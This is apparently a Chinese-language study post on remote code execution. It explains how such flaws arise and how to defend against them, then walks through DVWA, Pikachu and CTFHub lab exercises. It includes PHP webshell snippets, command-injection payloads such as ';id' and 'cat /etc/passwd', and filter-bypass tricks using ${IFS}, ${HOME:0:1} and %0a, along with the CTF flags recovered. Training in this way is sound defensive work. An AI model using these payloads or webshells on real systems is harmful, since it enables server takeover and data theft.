RCE(Remote Code Execution,遠程代碼執行)是漏洞研究裏非常核心的一類,因為一旦成功,攻擊者可以在目標服務器上執行任意代碼。
1. 什麼是 RCE
RCE 指攻擊者通過漏洞,讓服務器執行攻擊者提供的代碼或命令。
簡單理解:
用户輸入 → 被程序直接執行 → 攻擊者控制服務器
例如一個 PHP 程序:
<?php
system($_GET['cmd']);
?>
訪問:
http://site.com/test.php?cmd=whoami
服務器就會執行:
whoami
如果攻擊者輸入:
cmd=cat /etc/passwd
服務器就會執行讀取系統文件。
2. RCE 常見來源
RCE 很少是“直接寫出來”的,一般是由其他漏洞發展而來。
1️⃣ 命令執行漏洞(Command Injection)
當程序把用户輸入拼接進系統命令。
示例:
$ip = $_GET['ip'];
system("ping " . $ip);
攻擊輸入:
127.0.0.1; whoami
執行變成:
ping 127.0.0.1; whoami
攻擊者成功執行命令。
2️⃣ 文件上傳漏洞
如果網站允許上傳文件,但沒有限制腳本文件。
上傳:
shell.php
內容:
<?php system($_GET['cmd']); ?>
訪問:
http://target.com/upload/shell.php?cmd=whoami
就獲得 WebShell。
3️⃣ 反序列化漏洞
在 PHP / Java / Python 中,如果程序反序列化用户數據,就可能觸發執行。
例如 PHP:
unserialize($_POST['data']);
攻擊者構造惡意對象 → 觸發魔術方法 → 執行代碼。
4️⃣ 模板注入(SSTI)
例如:
{{7*7}}
如果返回:
49
説明模板被執行。
在某些模板引擎裏可以進一步執行系統命令。
5️⃣ 框架漏洞
例如歷史上很多框架 RCE:
- Apache Struts RCE
- Spring Framework 表達式漏洞
- Apache Log4j 的 Log4Shell
這些都是現實中非常重要的 RCE 漏洞。
3. RCE 利用的一般流程
漏洞利用通常是這個邏輯:
信息收集
↓
發現輸入點
↓
判斷是否可控
↓
構造payload
↓
命令執行
↓
拿shell
常見測試 payload:
;id
|id
&&id
`id`
$(id)
如果頁面返回:
uid=33(www-data)
説明命令執行成功。
4. WebShell 是什麼
RCE 最常見目標是拿 WebShell。
簡單例子:
<?php
eval($_POST['cmd']);
?>
攻擊者 POST:
cmd=system('whoami');
服務器執行。
這就是最基礎的 WebShell。
5. 防禦思路
避免 RCE 的關鍵:
- 不要執行用户輸入
- 使用參數化 API
- 嚴格過濾輸入
- 文件上傳白名單
- 禁止危險函數
例如 PHP:
system
exec
passthru
eval
assert
靶場練習
-
Windows(CMD / PowerShell 常見含義)
符號 作用 ;在 PowerShell 中用於分隔多條命令(CMD 中通常不用 ;)。&&前一條命令成功(返回碼為0)時 才執行下一條命令。 ||前一條命令失敗時 才執行下一條命令。 &CMD 中用於順序執行多條命令;PowerShell 中可用於調用命令/腳本(call operator)。 |管道,把前一條命令的輸出傳遞給後一條命令作為輸入。 -
Linux(Bash / Shell)
符號 作用 ;順序執行多條命令,前後命令是否成功都繼續執行。 &&前一條命令成功時 才執行下一條命令(邏輯與)。 ||前一條命令失敗時 才執行下一條命令(邏輯或)。 &將命令 放到後台執行(background job)。 |管道,把前一個命令的輸出作為後一個命令的輸入。 -
URL編碼
編碼 轉義符 含義 %0a 回車 將光標移到行首 %0d 換行 將光標移到下一行 %20 空格 URL 中最常見的編碼(有時也用 + 表示) %09 製表符 用於對齊或在某些注入攻擊中代替空格 %00 空字符 非常危險,常用於“截斷”文件名或繞過安全過濾
DVWA
1.low level
-
輸入
127.0.0.1,頁面顯示如下:
-
輸入
127.0.0.1;ls /
2.medium level
-
源碼如下,可以很清楚的看出,有替換:
$substitutions = array( '&&' => '', ';' => '', );可以將前面的命令報錯,然後執行後面的命令,使用
|| -
輸入
-I 127.0.0.1 || ls /,頁面顯示如下:
3.high level
-
源碼如下,可以很清楚的看出,比medium替換更多了:
$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );可以發現一個問題,就是
|後面有空格,如果我輸入的|後面沒有空格 -
輸入
127.0.0.1 |ls /,頁面顯示如下:
Pikachu
1.exec "ping"
-
輸入
127.0.0.1,頁面顯示如下:
-
輸入
127.0.0.1;ls /,頁面顯示如下:
2.exec "eval"
-
輸入
phpinfo();,頁面顯示如下:
-
輸入
system("ls /");,頁面顯示如下:
CTFHUB
進入CTFHUB > Web > RCE。
1.eval執行
通過頁面上顯示出來的源碼,直接通過GET請求傳入參數cmd,
url為:
http://challenge-9bc0a91ec65feb53.sandbox.ctfhub.com:10800?cmd=phpinfo();
頁面顯示如下:
可以執行php代碼,將url改為:http://challenge-9bc0a91ec65feb53.sandbox.ctfhub.com:10800?cmd=system("ls /");
頁面顯示如下:
可以發現有flag_23819
將url改為:http://challenge-9bc0a91ec65feb53.sandbox.ctfhub.com:10800?cmd=system("cat /flag_23819");
頁面顯示如下:
flag為: ctfhub{127fb3cbdfbe7a02e646c1b7}
2.命令注入
-
打開鏈接,頁面顯示如下:這就簡單了
-
輸入
127.0.0.1; ls ./,頁面顯示如下:
-
輸入
127.0.0.1;cat 10241262049711.php,頁面顯示如下:
查看網頁源碼,得到flag為:ctfhub{4df362631f51453d1e240e13}
3.過濾cat
- 打開鏈接,頁面顯示如下:
- 輸入
127.0.0.1; ls ./,頁面顯示如下:
- 查看文件
flag_10674148673987.php,輸入127.0.0.1; less flag_10674148673987.php
查看源碼,得到flag為:ctfhub{9ef19865c366147ba3906626}
4.過濾空格
- 打開鏈接,頁面顯示如下:
- 替換空格最常用的有三個
- $
- %09
- {cmd,arg} shell 會展開成 cmd arg
輸入127.0.0.1;${IFS}ls${IFS}./,頁面顯示如下:
- 輸入
127.0.0.1;${IFS}cat${IFS}flag_29512323683167.php,頁面顯示如下:
查看源碼得到flag為:ctfhub{b51488d170ee18e99b85fea5}
5.過濾目錄分隔符
- 打開鏈接,頁面顯示如下:
- 替換“/”最常用
- 截取系統系統變量字符:
${PATH:0:1},${HOME:0:1},${PWD:0:1} - ANSI-C quoting(使用c語言轉義字符):
$'\x2f'
- 截取系統系統變量字符:
- 輸入
127.0.0.1; ls -l .${HOME:0:1},頁面顯示如下:
- 輸入
127.0.0.1; ls -l .${HOME:0:1}flag_is_here${HOME:0:1},頁面顯示如下:
- 輸入
127.0.0.1; cat .${HOME:0:1}flag_is_here${HOME:0:1}flag_43492255429692.php,頁面顯示如下:
查看源碼得到flag為:ctfhub{7a0a06bf54cd73692a37ca81}
6.過濾運算符
- 打開鏈接,頁面顯示如下:
這一關過濾了一些字符,但是還是可以使用127.0.0.1; ls ./127.0.0.1; cat flag
操作略,flag為: ctfhub{4ec649515b610ab1dd3c781b}
7.綜合過濾練習
-
打開鏈接,頁面顯示如下:
-
輸入
127.0.0.1%0als${IFS}.${HOME:0:1},然後Burp Suite抓包GET /?ip=127.0.0.1%250als%24%7BIFS%7D%24%7BHOME%3A0%3A1%7D HTTP/1.1 Host: challenge-6e493279a773b9a0.sandbox.ctfhub.com:10800 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://challenge-6e493279a773b9a0.sandbox.ctfhub.com:10800/ Upgrade-Insecure-Requests: 1 Priority: u=0, i傳入的參數
ip多了一個"25",改成127.0.0.1%0als%24%7BIFS%7D%24%7BHOME%3A0%3A1%7D
頁面顯示如下:
-
還會過濾
flag,因此需要使用fla*代替 -
根據上面的步驟可以得到
flag為:ctfhub{827a29d4be2d8a94de2974a8}
硬件及軟件説明:
I.硬件(電腦)
Apple Macbook Pro M1-Pro (32G) macOS Sonoma 14.8.4
II.軟件(vmware虛擬機)
ubuntu作為靶機- IP:
172.16.83.131 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作為攻擊機- IP:
172.16.83.130 - arm64
- Kali GNU/Linux Rolling
- 瀏覽器:Firefox
- IP:
ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest
ubuntu中安裝docker靶場:homins/pikachu:latest
# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker
sudo docker pull hominsu/pikachu
# 為鏡像創建容器,並運行
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker # DVWA 端口設為 8090
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口設為 8082
📌 不一定對,如有錯誤,歡迎指出🙂。